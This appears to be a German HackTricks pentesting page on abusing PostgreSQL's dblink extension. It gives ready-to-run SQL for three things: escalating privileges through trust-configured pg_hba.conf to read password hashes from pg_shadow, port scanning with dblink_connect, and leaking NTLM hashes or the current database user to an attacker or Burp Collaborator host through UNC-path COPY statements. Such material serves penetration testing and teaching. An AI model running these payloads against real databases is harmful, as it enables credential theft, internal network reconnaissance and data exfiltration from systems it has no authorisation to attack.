Netzwerk - Privesc, Port Scanner und NTLM-Challenge-Response-Offenlegung
Reading time: 4 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Finden Sie weitere Informationen zu diesen Angriffen im Originalpapier.
Seit PostgreSQL 9.1 ist die Installation zusätzlicher Module einfach. Registrierte Erweiterungen wie dblink
können mit CREATE EXTENSION
installiert werden:
CREATE EXTENSION dblink;
Sobald Sie dblink geladen haben, könnten Sie einige interessante Tricks ausführen:
Privilegieneskalation
Die Datei pg_hba.conf
könnte schlecht konfiguriert sein und Verbindungen von localhost als beliebiger Benutzer ohne Passwortabfrage zulassen. Diese Datei befindet sich typischerweise in /etc/postgresql/12/main/pg_hba.conf
und eine schlechte Konfiguration sieht folgendermaßen aus:
local all all trust
Beachten Sie, dass diese Konfiguration häufig verwendet wird, um das Passwort eines DB-Benutzers zu ändern, wenn der Administrator es vergessen hat, sodass Sie es manchmal finden können.
&#xNAN;Noten Sie auch, dass die Datei pg_hba.conf nur vom Benutzer und der Gruppe postgres lesbar und nur vom Benutzer postgres beschreibbar ist.
Dieser Fall ist nützlich, wenn Sie bereits eine Shell im Opfer haben, da Sie so eine Verbindung zur PostgreSQL-Datenbank herstellen können.
Eine weitere mögliche Fehlkonfiguration besteht aus etwas wie diesem:
host all all 127.0.0.1/32 trust
Da es jedem vom localhost aus ermöglicht, sich als beliebiger Benutzer mit der Datenbank zu verbinden.
In diesem Fall und wenn die dblink
-Funktion funktioniert, könnten Sie die Berechtigungen erhöhen, indem Sie sich über eine bereits bestehende Verbindung mit der Datenbank verbinden und auf Daten zugreifen, auf die Sie nicht zugreifen sollten:
SELECT * FROM dblink('host=127.0.0.1
user=postgres
dbname=postgres',
'SELECT datname FROM pg_database')
RETURNS (result TEXT);
SELECT * FROM dblink('host=127.0.0.1
user=postgres
dbname=postgres',
'select usename, passwd from pg_shadow')
RETURNS (result1 TEXT, result2 TEXT);
Port Scanning
Durch den Missbrauch von dblink_connect
könntest du auch offene Ports suchen. Wenn diese **Funktion nicht funktioniert, solltest du versuchen, dblink_connect_u()
zu verwenden, da die Dokumentation besagt, dass dblink_connect_u()
identisch mit dblink_connect()
ist, mit dem Unterschied, dass es Nicht-Superusern erlaubt, sich mit jeder Authentifizierungsmethode zu verbinden_.
SELECT * FROM dblink_connect('host=216.58.212.238
port=443
user=name
password=secret
dbname=abc
connect_timeout=10');
//Different response
// Port closed
RROR: could not establish connection
DETAIL: could not connect to server: Connection refused
Is the server running on host "127.0.0.1" and accepting
TCP/IP connections on port 4444?
// Port Filtered/Timeout
ERROR: could not establish connection
DETAIL: timeout expired
// Accessing HTTP server
ERROR: could not establish connection
DETAIL: timeout expired
// Accessing HTTPS server
ERROR: could not establish connection
DETAIL: received invalid response to SSL negotiation:
Beachten Sie, dass Sie bevor Sie dblink_connect
oder dblink_connect_u
verwenden können, möglicherweise Folgendes ausführen müssen:
CREATE extension dblink;
UNC-Pfad - NTLM-Hash-Offenlegung
-- can be used to leak hashes to Responder/equivalent
CREATE TABLE test();
COPY test FROM E'\\\\attacker-machine\\footestbar.txt';
-- to extract the value of user and send it to Burp Collaborator
CREATE TABLE test(retval text);
CREATE OR REPLACE FUNCTION testfunc() RETURNS VOID AS $$
DECLARE sqlstring TEXT;
DECLARE userval TEXT;
BEGIN
SELECT INTO userval (SELECT user);
sqlstring := E'COPY test(retval) FROM E\'\\\\\\\\'||userval||E'.xxxx.burpcollaborator.net\\\\test.txt\'';
EXECUTE sqlstring;
END;
$$ LANGUAGE plpgsql SECURITY DEFINER;
SELECT testfunc();
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.